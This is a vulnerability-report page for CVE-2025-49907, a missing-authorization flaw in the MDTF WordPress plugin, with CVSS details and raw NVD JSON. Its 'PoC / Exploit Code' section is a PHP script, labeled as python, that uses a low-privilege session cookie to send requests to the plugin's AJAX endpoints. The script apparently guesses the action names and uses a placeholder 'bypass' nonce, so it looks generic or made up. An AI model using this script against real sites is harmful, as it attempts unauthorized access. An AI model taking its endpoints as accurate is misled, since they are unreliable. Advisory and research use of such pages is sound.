Security Vulnerability Report
中文
CVE-2025-49907 CVSS 4.3 MEDIUM

CVE-2025-49907

Published: 2025-10-22 15:15:37
Last Modified: 2026-04-27 20:16:16

Description

Missing Authorization vulnerability in RealMag777 MDTF wp-meta-data-filter-and-taxonomy-filter allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects MDTF: from n/a through <= 1.3.3.9.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

RealMag777 MDTF wp-meta-data-filter-and-taxonomy-filter <= 1.3.3.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * PoC for CVE-2025-49907 - MDTF Plugin Missing Authorization * Description: Demonstrates how a low-privilege authenticated user * can access MDTF plugin endpoints without proper authorization checks. * * Usage: Replace TARGET_URL and COOKIE with valid values from a * low-privilege (e.g., subscriber) authenticated session. */ // Target WordPress site URL $target_url = 'https://target-wordpress-site.com'; // Authenticated session cookie of a low-privilege user (e.g., subscriber) $cookie = 'wordpress_logged_in_xxxxxxxxxxxxx=xxxxxx'; // Step 1: Identify the MDTF plugin's AJAX action endpoints // The plugin typically registers AJAX actions via wp_ajax_ hooks $ajax_actions = array( 'mdtf_get_filter_data', 'mdtf_filter_posts', 'mdtf_save_filter', 'mdtf_load_taxonomy', ); // Step 2: Send unauthorized request to the vulnerable endpoint foreach ($ajax_actions as $action) { $url = $target_url . '/wp-admin/admin-ajax.php'; $post_data = http_build_query(array( 'action' => $action, // Additional parameters that the plugin endpoint expects 'filter_id' => 1, 'taxonomy' => 'category', 'nonce' => 'bypass_or_missing', )); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Cookie: ' . $cookie, 'Content-Type: application/x-www-form-urlencoded', 'X-Requested-With: XMLHttpRequest', )); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "[+] Action: {$action} | HTTP Status: {$http_code}\n"; echo "[+] Response: " . substr($response, 0, 200) . "\n\n"; } /** * Expected behavior (vulnerable): * - The server processes the request and returns data/confirmation, * even though the user lacks the required capability. * * Expected behavior (patched): * - The server returns 0 or -1 (WordPress AJAX die response), * indicating the user is not authorized to perform the action. */ ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49907", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:36.643", "lastModified": "2026-04-27T20:16:16.333", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in RealMag777 MDTF wp-meta-data-filter-and-taxonomy-filter allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects MDTF: from n/a through <= 1.3.3.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-meta-data-filter-and-taxonomy-filter/vulnerability/wordpress-mdtf-plugin-1-3-3-9-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}